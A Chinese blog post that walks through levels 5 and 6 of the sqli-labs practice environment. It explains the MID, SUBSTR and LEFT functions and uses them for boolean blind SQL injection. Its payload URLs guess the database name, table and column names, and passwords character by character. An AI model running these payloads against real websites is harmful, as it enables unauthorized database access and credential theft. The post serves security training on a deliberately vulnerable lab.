51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

sqli通关笔记(2) 持续更新ing~

sqli 5-6关就考验的就是关于盲注的知识了
我们先了解一下布尔盲注sql注入截取字符串常用三大法宝函数

1.mid函数 {#1.mid%E5%87%BD%E6%95%B04699}

格式: MID(column_name,start[,length])

| 参数 | 描述 | |-------------|-----------------------------------| | column_name | 必需。要提取字符的字段。 | | start | 必需。规定开始位置(起始值是 1)。 | | length | 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。 |

举个例子:
str="123456" mid(str,2,1) 其意思就是:从"str"的第二位数"2"开始返回一位数。显然我们所获得的结果为"2"
Sql用例:

(1)MID(DATABASE(),1,1)>'a',查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。

(2)MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>'a'此处column_name参数可以为sql语句,可自行构造sql语句进行注入。

2.substr()函数 {#2.substr%28%29%E5%87%BD%E6%95%B05274}

格式:substr(string,start,length)
定义和用法
substr() 函数返回字符串的一部分。
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。

Substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)

string substr(string, start, length)

参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

80539-n27856lxkxk.png

Sql用例:

(1) substr(DATABASE(),1,1)>'a',查看数据库名第一位,substr(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。

(2) substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>'a'此处string参数可以为sql语句,可自行构造sql语句进行注入。

3.Left()函数 {#3.Left%28%29%E5%87%BD%E6%95%B06069}

格式:Left(string、length)

| 参数 | 说明 | |-----|---------------------------------------------------------------------------| | 字符串 | 字符串表达式,返回最左侧的字符。 如果字符串包含 null,则返回 null。 | | 长度 | 变体(Long)。 数值表达式 ,指示要返回的字符数。 如果为0,则返回零长度字符串("")。 如果大于或等于字符串中的字符数,则返回整个字符串。 |

Sql用例:

(1)
left(database(),1)>'a',查看数据库名第一位,left(database(),2)>'ab',查看数据库名前二位。

(2) 同样的string可以为自行构造的sql语句。

以上信息从互联网中收集整理而来(os:你让我自己编个出来怎么可能)
好了接下来我们进入第五关

第五关 {#%E7%AC%AC%E4%BA%94%E5%85%B37786}

我们来利用刚刚的知识进行注入
首先我们先判断下数据库长度(按下面这个payload试,一直到页面回显错误即错误的前一个数字为真)

http://localhost/sqli-labs-master/Less-5/?id=1'and length(database())=8--+

92905-2s85aybhflj.png

接下来判断数据库名

http://localhost/sqli-labs-master/Less-5/?id=1' and left((select database()),1)='s'--+

59868-bmiyowpfxai.png

回显正常页面就说明数据库第一位是s。接下来按着这种顺序下去就能猜解出数据库名了
这里我就要介绍一个二分法了

http://localhost/sqli-labs-master/Less-5/?id=1' and left((select database()),1)>'l'--+

这里意思就是,如果数据库名第一位数是在l之后就TRUE,返回正常页面,否则就是错误页面。这种方法可以大大增快我们猜解时间
到了这,肯定就有bro问了,那你为嘛不直接上脚本呢,sqlmap不香吗? 只能说这是因人而异,CTF比赛的时候可不让用sqlmap跑。练习手工注入就是在打基础。
现在我们推出了表名是security
接下来继续猜表:

http://localhost/sqli-labs-master/Less-5/?id=1' and left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)='e' --+

这里我解释一下limit含义
举个例子select * from emails limit 0,1; 意思就是从emails表中从第一个开始只抽一条
如果是limit 2,1 就是 从第二个开始抽一条。
介绍完了猜表,我们现在从user表中猜列名

http://localhost/sqli-labs-master/Less-5/?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='username'

接下来猜数据
http://localhost/sqli-labs-master/Less-5/?id=1' and left((select password from users order by id limit 0,1),4)='dumb' --+
就是这样啦。只是这样一个个猜太麻烦了。。。。。如果python学的好的bro可以自己写一个简单脚本跑一下就好了。

第六关
根据提示可知。只是双引号的保存,所以我们只需要把第五关的单引号改成双引号就好了。

过关方式有很多,暂时先更到这里。后面还会增加一些方法。持续关注这条博文

赞(4)
未经允许不得转载:工具盒子 » sqli通关笔记(2) 持续更新ing~